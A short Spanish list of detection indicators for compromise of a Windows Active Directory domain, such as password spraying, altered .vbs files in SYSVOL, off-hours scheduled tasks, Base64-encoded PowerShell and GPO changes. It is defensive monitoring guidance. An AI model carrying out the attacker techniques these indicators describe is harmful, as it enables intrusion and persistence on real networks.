- Múltiples autenticaciones fallidas seguidas de una exitosa (password spray)
- Cambios en archivos .vbs en SYSVOL
- Modificaciones de ACLs en cuentas de servicio
- Creación de ScheduledTasks fuera de horario laboral
- Comandos PowerShell con
-enc(Base64) en logs - Conexiones de red inusuales desde SYSTEM
- Cambios en GPOs fuera de ventanas de mantenimiento




